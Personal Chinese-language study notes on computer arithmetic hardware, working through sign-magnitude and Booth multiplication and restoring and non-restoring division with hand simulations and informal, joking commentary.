他需要维护一个二维数组,记录用X和Y的每一位相乘,分别得到的中间位向量\(A_i\)

然后"落下来"求\(E\)

就这个二维数组就把机器难为住了

1.如果两个32位整数相乘,就需要32*32个方格的二维数组,ALU可是没有记忆功能的,寄存器也就稀松几个,记忆能力有限,显然32²个方格没处放.

2.机器怎么知道当前应该用X对齐Y的"个位"还是"十位"还是"百位"呢?用一个寄存器,记录Y已经被对齐过几位吗?

不需要,因为本次对齐的位一定是只比上一次对齐位高一位,只需要将被乘数左移一下.

然后根据本次Y的对齐位是1则\(Ai=X\times 权重\),比如图表中\(A_3\)

如果本次Y的对齐位为0则\(A_i=0\),比如图表中\(A_2\)

问题又来了,权重用谁来记住呢?再开一个寄存器,初始记录1,表示权重为\(2^0\),随着被乘数\(X\)的左移,这个寄存器也要左移一下表示权重乘以2

如果继续研究如何让硬件实现,还能发现更多问题.第一,机器算账,这钱怎么进了你自己的腰包

滚动数组

现在考虑一下,有必要维护这个二维数组吗?滚动数组行吗?

中间过程不使用二维数组,就维护一个位向量\(A\),计算过程中A只有累加和右移两种行为.

乘数个位为1,则被乘数直接加到A的高四位

为啥是高四位呢?似乎有点违反直觉,因为A的高位表示的是高权重,但是现在用被乘数乘的是乘数的个位,权位最低才对啊.别忘了A要右移

然后A右移一位,乘数右移一位

这个过程干了一个啥事呢?

被乘数一直和乘数的"最低位"对齐,刚才最低位是"个位",现在经过右移,个位直接扬了,十位成了"最低位".被乘数时钟看乘数最低位脸色行事,当这个最低位是1的时候才把自己加到A上,加到A的最高四位上

A右移一位,则所有历史记录都降权2,

可想而知,当乘数的千位右移到最低位,这时候被乘数将自己加到了A的高四位上,此时计算结束.乘数的千位和被乘数的积 的权就最高,根本不需要降权

而乘数的个位和被乘数的积此时已经经历了4次降权,权重仅为\(\frac{1}{2^4}=\frac{1}{16}\)

这正好满足我们的目的

现在可以用机器实现了

image-20220616213145320

硬件框图的意义

这个图怎么看呢?

D和A合起来作为"中间过程位向量",D就是高四位,A就是低四位

一开始的时候D=0,A=Y,这好像和我们刚才的分析不一样,我们分析的滚动数组思想中,Y是独立存在的,不会放在A中.

而实际上Y需要独立存在吗?考虑每次被乘数要么不加,要么加到高四位上,而Y一开始放在低四位,两者不会相互影响.

随着这个中间过程位向量不断右移,Y被一位一位移除了A,当Y恰好移出的时候计算恰好结束.

\(A_0\)就是乘数的"最低位",随着乘数Y的不断右移,硬件A的最低位会以此存放Y的个十百千位,相当于将Y遍历了一遍

"被乘数看乘数最低位颜色决定加不加"这个事怎么实现的呢?

用一个B寄存器存放被加数X,X和0作为二选一选择器的数据段,\(A_0\)作为该二选一的地址端,当\(A_0=1\)则选通X,当\(A_0=0\)则选通0

选通的信号就进入了\(\Sigma\)多位加法器

左上角这个循环干了啥事呢?

image-20220616213859376

被加数总是加到中间过程位向量的高四位,这怎么实现?将旧的高四位作为加数和X相加就得到了新的高四位

这个半调子CF是干啥的呢?

CF是PSW程序状态字中的一位,用来记录是否有进位,啥时候会有进位呢?

比如头一次D=1111,右移变成0111,然后下一次又加了1111,显然0111+1111溢出了,但是顶多溢出一位,于是放到CF里,然后D右移的时候,再从CF里拿出来放到D里

手写模拟

模拟机器计算\(0.1101\times 1.1011\)(都是原码)

符号显然同号得负数,这对机器来说也是小菜一碟,两符号娶个异或即可

去掉小数点,后面的直接作为整数乘法,怎么乘的呢?

image-20220616215950459

最左侧这里列也是有实际意义的,里面是CF位的状态.

这一点课本并没有给出,这导致我一开始认为只有手算模拟才会用到这一列

乘数有四位,因此共有四次操作,恰好将Y从A中扬了,中间结果积逐渐充斥整个D和A

这个过程要是找个现实中的类比的话,可以举这么一个不恰当的例子:

一个公司有10个部长,资本家的总是嫌这十个人好吃懒惰不干活,或者说即使比较勤奋,但是不想再给他发太多工资,直接降薪吧人家也不愿意.反正就是想找个理由踢了这是个人换成新人

但是资本家还不敢一口气全体了,这会造成一段时间没人管事儿.

于是资本家想了一个温水煮癞蛤蟆的方法,每隔一个月从这10个人里找一个业绩最差的,

要是他真的好吃懒惰啥也不干,直接踢了,公司正常运转.

要是他确实负责一些事情,那么找一个能干的新人把他挤了,公司正常运转

10个月后,10个部长就全是优秀并且高效的00后了

无符号右移?

关于"无符号右移",这个事情发生在

image-20220616220805565
原数 带符号右移结果 无符号右移结果
\(1'0011'1101\) \(1'1001'1110\) \(0'1001'1110\)

显然正确的计算方法是无符号右移,为啥不是带符号的呢?

首先,带符号意味着负数,而我们整个计算过程中要么加0,要么加x,反正不会加一个负数,理论上就不存在加负数的情况

再者,这里最左侧的"符号"实际上是CF位,是上一次加被乘数之后的进位,不是"符号",我们一直在进行无符号运算

原码两位乘法

为啥要两位乘?

原码两位乘法和原码一位乘法的思想基本相同,但是设计硬件的那伙子人嫌一位乘法太慢,这就好比一个人上楼梯,每次上一个台阶嫌慢,非得上两个

为啥没有原码三位乘法?一次上三个台阶这不扯蛋吗

因为计算机中的数据都占用偶数位,从来没有说有一个66位计算机,有一个63位计算机,有一个30位计算机.

实际存在的计算机都是64位,32位,这些位数都是2的幂次,为啥非要是2的幂次?方便使用二进制呗.为啥一定使用二进制?逻辑门高电位和低电位就两种状态呗

为啥没有原码四位乘法?32和64不也是4的倍数吗?

还要考虑一个复杂性问题

image-20220616230513076

如图原码二位乘已经有\(2^3=8\)种情况了,要是原码四位乘,不考虑低位进位的情况至少这四位需要考虑,就已经有\(2^4=16\)种情况了,显然让ALU考虑多种情况也是需要记忆功能的

在记忆能力和速度都可以接收的范围内,只有原码一位乘和原码二位乘是可行的

规则

两位乘怎么玩呢?

原来被乘数看乘数最低位的脸色行事,现在被乘数还要看次低位的脸色.真的太卑微了

最低位和次低位的权还不一样,次低位更狠,权更重.

为了更详细的描述这个意思,规定X和Y的位向量表示

X和Y都忽略小数点和符号位,小数点后面的直接作为一个整数

\(X=X_3X_2X_1X_0\)

\(Y=Y_3Y_2Y_1Y_0\)

现在最低位就是\(Y_0\),次低位就是\(Y_1\),随着Y不断右移,这两个位会遍历整个Y

\(Y_1Y_0=11=3(Dec)\)需要向中间过程位向量上加三个被乘数X,

\(Y_1Y_0=10=2(Dec)\)需要向中间过程位向量上加两个被乘数X

\(Y_1Y_0=01=1(Dec)\)需要向中间过程位向量上加一个被乘数X

\(Y_1Y_0=00=0(Dec)\)啥也不加

啥也不加,加一个X都好说,加两个X通过将X左移一位×2也容易实现,但是这个半吊子3怎么办呢?

3=4-1,啥意思呢?

先从中间过程位向量的高四位减去一个被乘数X,

然后右移两位,这导致刚才减去的X降权4(右移两位相当于除以4),

此时再向高四位加上一个被乘数X,这个刚加上的X的权就高,是刚才减去的X的四倍,

这样一减一加,相当于在上一步(刚才减一的那一步)往中间过程位向量上加上了3个X.

达到了我们的目的

\(Y_1Y_0=11\),这时候才会加3X,还有加2X,1X,0的时候,怎么区分多种状态呢?用一个flag开关

也就是下表中的C

image-20220616231945745

这个表什么意思呢?

我一开始的理解

(当然是错误的,但是有借鉴意义)

刚才我们推导怎么实现加3X的时候,先减X,位移后再加上X,看上去顺理成章,确实解决了上一回合需要加3X这个问题,

但是同时引入了新问题,即

位移后的本回合有本回合要做的事情,而你却在本回合处理了上回合要做的事情,那么本回合本来要做的事情啥时候做呢?

啥叫本回合应该做的事?

每个回合要做的事就是根据当前乘数最低两位的脸色决定往中间过程位向量上加几个X

要么本回合开一个额外回合,在给上回合擦腚之后,先不忙着将乘数右移开启下一个回合,而是正式处理本回合的事.处理完了再右移开启下一回合

但是这样怎么让一个傻子CPU知道这一次有没有额外回合呢?

可以用标志位C.每个正式回合都根据乘数最低两位是否全1,设置C是否为1,

当回合开始的时候,让CPU先检查C开关是否打开,

​ 如果开着则先擦腚,然后C给他关上,

​ 如果C关着(不管是本来就管着还是擦完腚关上的,一视同仁),则处理本回合事物

我确实一开始是这样想的,但是仔细观察法则表之后发现人家的想法和我不一样

人家的想法

如果按照我的设想,当C为1的时候,不需要看\(Y_1Y_0\)的脸色,直接加X,然后C置零

然而表中即使C为1也需要看\(Y_{i+1}Y_{i}\)的脸色

image-20220616233254740

那么人家的方法什么思想呢?

image-20220616233344339

这段文字十分滴珍贵,但是是那种懂的人一看就懂,不懂的看了还是不懂(此名言出自计组老师gx)

啥意思呢?不妨从研究这个表的结构规则入手

可以发现,

1.当\(Y_{i+1}\)固定时,\(Y_i\)\(C\)具有对称结构,具体表现为:

image-20220616233605441

2.\(Y_i\)\(C\)联手的时候相当于\(Y_{i+1}\) image-20220616233706177

也就是说,\(Y_i\)\(C\)就有完全相同的地位,\(Y_{i+1}\)权为2, \(Y_i\)权为1,\(C\)的权也是1

而这种类似的结构我们在什么地方见过呢?全加器

一位全加器真值表

全加器中\(X,Y,C_{i-1}\)三者具有轮换对称结构

\(C_{i-1}\)表示的是低位向本位的进位开关,类比到原码两位乘法中,他就是低位计算时没擦干净的屁股

在这个全加器运算的时候,会同时考虑三路输入,将\(X_i,Y_i,C_{i-1}\)同时加起来,也就是在完成本回合的事物时,同时把上回合的屁股擦了

但是也可以设计成,\(X_i+Y_i\)先算好,然后将上回合的屁股\(C_{i-1}\)加上

设计固然可以这样设计,但是何必呢?算好的结果还需要保存一下然后才和\(C_{i-1}\)相加.

直接三个加起来不用保存中间结果并且更容易实现,岂不美哉

就用全加器的思想考虑在原码两位乘法

C不也是低位向本位的进位吗?或者说,上一个回合留到本回合才能擦干净的屁股

在上个回合加4X,不就相当于在本回合加X吗?

处理上回合的屁股顶多在本回合加一个X,

要是本回合本来啥也不干,那么处理屁股,加上X就完了

image-20220616235501743

要是本回合本来就应该加X,那么一块处理了,加上2X就完了

image-20220616235511820

要是本回合本来应该加2X,加上屁股一个X,一共3X,只需要减一个X然后继续把屁股交给下一个回合

image-20220616235623070

要是本回合本来应该加3X,加上屁股一共四个X,可以加上左移两次的X,但是留一个屁股给下一回合加上也是相当于本回合加4X,还不用位移,岂不美哉

image-20220616235634096

如果上个回合没有留屁股(即C=0),则本回合只需要看\(Y_1Y_0\)脸色行事,不用擦屁股

如此这个法则表就不用死记硬背了

手写模拟

\(X=+0.100111,Y=-0.100111\)用原码两位乘法求积

符号显然为1

image-20220616235859593

这个"符号位"是啥呢?

这确实是符号位,因为过程中有\(-X\)的行为.为啥要三个符号位呢?这个是人为规定的

因为两位乘每回合需要右移两位,那么符号位至少有两位,至于为什么是三位呢?

因为存在带符号右移的行为,右移两位之后符号位高两位是填充0呢还是填充1呢?

能不能全都填充0呢?诚如是则三个符号位都是摆设,编课本的人也不用编了.多此一举何必呢?

这符号位的最高位起一个提示的作用,如果最高位为1则右移的时候最高位也补1,否则补0

因此最高位完全是个人爱好添加的,因为只要是最高位是1,则符号位的第二位也是1,完全可以根据第二位的提示填充符号位的高两位

这里就有问题了,为什么会有带符号右移?原码一位乘法的时候明明没有带符号右移啊?

image-20220617000021929

因为过程中确实有\(-X\)这种行为,通过加补实现,而补码的符号位就是负数.

如果无符号右移,则本回合\(-X\)在右移后进入下回合时,符号位也跟着移到右侧,这个\(-X\)成了加一个数,失去减法的意义并且导致错误

补码一位乘法--布斯法

推导算法原理

\(X=X_0.X_{-1}X_{-2}...X_{-(n-1)}\),\(Y=Y_0.Y_{-1}Y_{-2}...Y_{-(n-1)}\)

\(Y\)按照权位展开 \[ \begin{aligned} Y&=Y_0.Y_{-1}Y_{-2}...Y_{-(n-1)}\\ &=Y_0\times 2^0+Y_{-1}\times 2^{-1}+Y_{-2}\times 2^{-2}+...+Y_{-(n-1)}\times 2^{-(n-1)}\\ &=Y_0(2^1-2^0)+Y_{-1}\times(2^0-2^{-1})+Y_{-2}\times (2^{-1}-2^{-2})+...+Y_{-(n-1)}\times (2^{-(n-2)}-2^{-(n-1)})\\ &=2Y_0+2^0(Y_{-1}-Y_0)+2^{-1}(Y_{-2}-Y_1)+2^{-2}(Y_{-3}-Y_{-2})+...+2^{-(n-2)}(Y_{-(n-1)}-Y_{-(n-2)})+2^{-(n-1)}(0-Y_{-(n-1)}) \end{aligned} \] 其中\(Y_0\)是符号位,当\(Y_0=0\),\(2Y_0=0\),可以忽略

\(Y_1=1\),\(2Y_1=10\)进位不管,本位还是\(0\),也可以忽略

那么\(Y=2^0(Y_{-1}-Y_0)+2^{-1}(Y_{-2}-Y_1)+2^{-2}(Y_{-3}-Y_{-2})+...+2^{-(n-2)}(Y_{-(n-1)}-Y_{-(n-2)})+2^{-(n-1)}(0-Y_{-(n-1)})\)

不妨令\(Y\)最后再加一位\(Y_{-n}=0\)反正小数部分最后添0不会影响小数大小

那么 \[ \begin{aligned} Y&=2^0(Y_{-1}-Y_0)+2^{-1}(Y_{-2}-Y_1)+2^{-2}(Y_{-3}-Y_{-2})+...+2^{-(n-2)}(Y_{-(n-1)}-Y_{-(n-2)})+2^{-(n-1)}(Y_{-n}-Y_{-(n-1)})\\ &=\sum_{i=-(n-1)}^{0}2^{i}\times (Y_{i-1}-Y_i) \end{aligned} \] 好了,现在\(Y\)经过各种调教,已经连同符号位都可以一起计算了 \[ \begin{aligned} X\times Y&=X\times \sum_{i=-(n-1)}^{0}2^{i}\times (Y_{i-1}-Y_i)\\ &=\sum_{i=-(n-1)}^{0}[2^{i}\times (Y_{i-1}-Y_i)\times X] \end{aligned} \] 这是一种啥形式呢?每次\(X\)都看\(Y_{i-1}Y_{i}\)的脸色行事,\(2^i\)是这俩哥们儿的权重.此时不再考虑\(Y_{i-1},Y_{i}\)的权重区别了,因为\(2^i\)是两个家伙的共同的权重,两者权重的二倍关系,已经应用在在刚才的转化过程中

\(Y_{i-1}Y_{i}\) \(Y_{i-1}-Y_{i}\) 行为
00 0 啥也不干
01 -1 -X
10 1 +X
11 0 啥也不干

在一个回合内应该干的事情:

\(i=-(n-1)\)这个最低权位开始算,每次根据\(Y\)的最低两位确定行为,然后右移一位,将\(Y_i\)移出扬了,刚才的\(Y_{i-1}\)现在是最低位.

每个回合开始前,将上回合的中间过程位向量右移一位,作用是给先前的计算结果都降权2

硬件实现

image-20220617081422674

这个图应该怎样理解呢?

D和A两个寄存器共同组成中间过程位向量,最右边有一个\(A_{-1}\)是附加位,这个刚才我们也分析过了,小数部分最后随便添0不影响结果大小

一开始的时候,乘数\(Y\)符号位和数值位都放在A中,小数点扬了,\(Y\)的最低位落到\(A_0\),此时\(A_{-1}=0,D=0\)

右移的时候\(A_{-1}\)也要参与,刚才的\(A_0\)就移入\(A_{-1}\),一共右移多少次呢?将A中的乘数刚好扬了为止,比如\(Y=1.0011\)则右移5次(符号位和数值为没有区别)

\(A_0A_{-1}\)接入一个二四译码器,而实际上一共有三种情况,啥也不干,+X,-X,怎么把这三种情况转化成机器能听懂的语言呢?

\(A_0A_{-1}=00\)则选择器选通\(D_0=0\)

\(A_0A_-1=01\)则选择器选通\(D_1={B}\)

\(A_0A_{-1}=10\)则选择器选通\(D_2=\overline {B}\),此时\(A_0\overline A_{-1}\)接入与门,与门接到全加器最低位,作用是对\(B\)的取反再+1得到补码

\(A_0A_{-1}=11\)则选择器选通\(D_3=0\)

选通信号都输入全加器

中间过程位向量\([D:A]\)在右移的时候带符号右移,即\(CF\)跟着移入最高位,并且右移之后\(CF\)状态不变

手算模拟

\(X=0.1010,Y=-0.1101\),计算两个数的补码一位布斯乘法

\([X]_补=00.1010\)

\([Y]_补=11.0011\)

image-20220617081351470

最终没有特判符号位,而是符号位已经在CF中了

经过刚才的分析,现在\(A_{-1}\)就具有实际意义了,不再是一个根据人的意愿补上的一位了

每个回合,被乘数都根据\(A_{0}A_{-1}\)的脸色行事,比如当\(A_0A_{-1}=10\)时,应该-X

而这似乎和我们一开始推导算法的时候相反

image-20220617084040120

我们推导的是当\(Y_{i-1}Y_i=10\)时+X

实际上令i=0得到\(Y_{-1}Y_0=10\)调个个儿就得到\(Y_0Y_{-1}=01\)

因此\(A_{0}A_{-1}=10\)实际对应的是\(Y_{i-1}Y_i=01\)的情况,行为是-X

这里一定要分清关系

在手算模拟的时候,只需要用\(A_{-1}-A_0\),根据结果的正负决定加减X,\(A_{-1}-A_0=1\)则+X

关于手算时符号位为啥要两位?

实际上机器只需要一位,这一位就有实际意义,即CF的值

然而由于计算过程中需要带符号右移一位,这样符号位是11时右移一位变成01,我们模拟时一看符号位还有1,于是高位填充1,修正成11

即最高位是防止人计算的过程中犯糊涂用的

并且符号位两位起到了双符号位判断溢出的作用,如果计算过程中,出现了两个符号位不同的情况,啃腚是算错了

原码除法

手算

约定规则

image-20220617085630330

这个规则第一条我就绷不住了,就算是两个定点纯小数,被除数的绝对值也不一定比除数小吧,比如\(0.1111\div 0.0111\),整数也是如此

那为啥要这样规定呢?为了保证两个定点纯小数的除法结果还是一个定点纯小数,

一旦被除数的绝对值大,则至少结果的整数部分可以商出一个1来,这时候运算结果就是定点既有整数也有小数了

而我们希望的是不使用整数部分,硬件上根本就不允许整数部分有意义,而是只保留小数部分

比如\(0.1111\div 0.0111=1.00010001..\)

而硬件是这样计算的:\(1111\div 0111=00010001\),因为硬件就认为这个结果只可能是小数

下面通过列竖式的方法计算\(X=0.1011\),\(Y=0.1101\)两数的除法,推导适用于机器的算法

image-20220617090654188

由于已经保证被除数绝对值小,因此结果的整数个位必定商0

人类在计算竖式的过程中有一个特点---人类会试商,啥意思呢?

在商了前两个1之后,下面要计算\(1010\div 1101\),

人类一看除数大,商1就过分了,剪出来一个负数,因此人类此时会商0.

试商我们从小学就学过了,那时候是在十进制下,每次试商都要按照9,8,7,...,2,1,0这种顺序试商(熟练了可以用二分结果试商),直到试到某个值n,此时用n去乘被除数得到的积刚好比中间结果小或者相等整除,并且商\(n+1\)刚好比中间结果大,那么n就是该位应该上的商

而现在对于二进制,每一位只有两种状态0或者1,我们只需要试商1,成功则商1,失败则商0

本质思想是相同的,只不过二进制中商0和商1是相互对立事件,而十进制中商0和商1是互不相容事件,因为十进制下还可以商2,3,等等

然而机器怎么试商呢?机器进行的每步运算都要改变硬件状态,试商会直接把商写进中间过程位向量,他只有一次机会,不允许试.而人类可以在草稿上试商然后将准确的商写道卷子上

恢复余数法

虽然机器不能试商,但是机器可以知道的是,自己尚一个1,有没有商的太过分了,

商1,则用中间结果去减被除数,如果减出来结果是个负数,机器就能根据符号位知道发生了什么.

他知道刚才商的太狠了,本应该下手轻点的.

于是他可以反悔,刚才商1导致中间结果负了,那么现在改商0,中间结果再加一个被除数还原到商1之前的情况,刚才商的1不算数.这个过程叫做"恢复余数"

手算模拟\(X=-0.10001011除以Y=0.0110\)的过程

image-20220617093100955

最终结果咋看呢?

看最后一行,

商的绝对值是\(0.1001\),最前面这个0肯定是0,这就是整数位个位的商,由于被除数比除数小,因此这一位必定为0,商的结果根据除数和被除数的符号位异或决定,因此商是\(1.1001\)

余数的绝对值是\(0.1101\times 2^{-4}\),符号应该和商一致,因此余数是\(1.1101\times 2^{-4}\)

这里\(2^{-4}\)怎么来的呢?余数实际上是中间过程位向量最开始时的低四位经过运算和左移得到的,其本来的权就是\(2^{-4}\)

为啥乘法的时候需要中间过程右移,而除法的时候需要中间过程左移呢?

在做除法的时候我们都是从高位往低位商,而做乘法的时候是从低位向高位乘,两种运算的顺序相反

做除法时早商应该比晚商权重高,通过左移,越早的商越高,权重越大

从图上可以发现一个问题,够减的时候,中间结果左移,不够减的时候,恢复余数,不左移

怎么让机器知道够不够减?前面分析的是根据符号位.

确实根据符号位可以知道这个事情,但是知道了怎么处理呢?

哪个元件可以根据CF的状态,决定给ALU送什么数呢?这个过程对硬件来说太抽象,不容易实现

想法总是千奇百怪,但是真到落地实现的时候,直接摔死

这让我想到大二上学微信小程序的时候,我竟然痴心妄想整一个支持markdown,用缩进表示分支的思维导图(Flowchart).属实是高估自己的编程能力和知识储备了

然而本学期tx学写游戏的时候,一些听上去天马行空的事情,都被库函数实现了,只能说,人定胜天

加减交替法

由于恢复余数法不方便实现,考虑一个让硬件舒服的方法

还是从恢复余数法中吸取教训

不妨定义一个说法"回合",感觉这像是一个状态机

每一回合都要经过,恢复余数(这算是上回合留下的屁股),左移一位,上本次的商,这几个过程

如果上回合留下了一个屁股,即上回合商1导致中间过程负了,本回合需要首先加上被除数恢复余数,并且上回合的商1作废,改为0,然后左移一位,让上回合的商升权2,然后直接商1,把屁股留给下一个回合

如果上回合没有留下屁股,即上回合商1,中间过程减去被除数得到正数,则不需要恢复余数,直接左移让上回合的商1升权2,然后直接商1把本回合的屁股留给下一个回合

好的, 现在考虑,

本回合需要处理上回合的屁股,首先R(中间过程结果)+Y(被除数),

然后左移一位,\(2(R+Y)\)

然后处理本回合事物,直接商1有\(2(R+Y)-Y=2R+Y\)

这不就相当于刚才不擦屁股,直接余数R左移,然后加上Y吗

本回合不用擦上回合的屁股

直接R左移一位变成2R

然后处理本回合事物,直接商1有\(2R-Y\)

综上,每个回合要么\(2R+Y\),要么\(2R-Y\),总共两种状态,

通过中间过程符号位决定本回合采用哪种状态

啥时候上商呢?在回合开始还没有位移的时候,根据中间过程的符号上商,

中间过程符号为0则商1,中间过程符号为1则商0

这就好实现了,

2R相当于本回合上来就中间过程左移,

中间过程符号位作为地址端接到2选1选择器,

符号为1则\(-Y\)选通,并且还要向ALU最低位加一个1,实现加补操作

符号为0则\(+Y\)选通

硬件实现如图

image-20220617102424109

怎么解读这个框图呢?

\(X=-0.10001011,Y=0.1110\)为例,

\(|X|=0.10001011,|Y|=0.1110\)

一开始\(|X|\)放在D和A中

image-20220617103310655

第一回合,本回合比较特殊,当前中间过程就是被除数(绝对值),符号为正,但是商0

然后左移,刚才的符号位0取反后移入\(A_0\),\(A_0=1\)决定本回合-Y,即加Y补

得到新的中间过程

如下图描述

image-20220617104129464

第二回合,当前中间过程为\(00'00110110'\),符号为正,商1

左移一位,符号位0取反之后移入\(A_0\),\(A_0=1\)决定本回合\(-|Y|\),即加补

得到新的中间过程

如下图描述

image-20220617104639433

第三回合,当前中间过程为\(11'10001101\),符号为负,商1

左移一位,符号位1取反得0之后移入\(A_0\),\(A_0=0\)决定本回合应该\(+|Y|\)

得到新的中间过程

如下图描述

image-20220617104826502

以此类推

最终结果怎么看呢?

image-20220617105339564

商这一列从上到下就是商,最上面这个0不用管,每次都是0,原因是我们故意控制被除数绝对值比除数小

或者看最下面这一行最右边01001,就是商这一列不断右移得到的

余数绝对值\(0.1101\times 2^{-4}\),符号和商相同,都要看被除数和除数的符号异或

补码除法

image-20220617110237294

这句话我看了好半天才看明白,

"与乘法运算的情况类似,有时也会迂回到补码乘法"

好家伙算个数还有迂回战术,就gx那三眼一板,一丝不苟的治学态度,我不大相信他能整出这样的词儿来

看了好几遍发现没有"回",就一个"迂",

是在说用补码做除法的人都吗?想到这里我都笑出了声,

用迂字骂人真有感觉,尤其和13合起来,"迂13!",这山东话绝对有气势

巧了宿舍群就这样命名的

image-20220617110800214

应该是错字,本来想用"用"字的

绷不住了

补码除法状态机

image-20220617111542233

状态就是被除数或者说余数,或者说中间过程位向量的符号状态,所有的状态转移都是根据该符号位决定的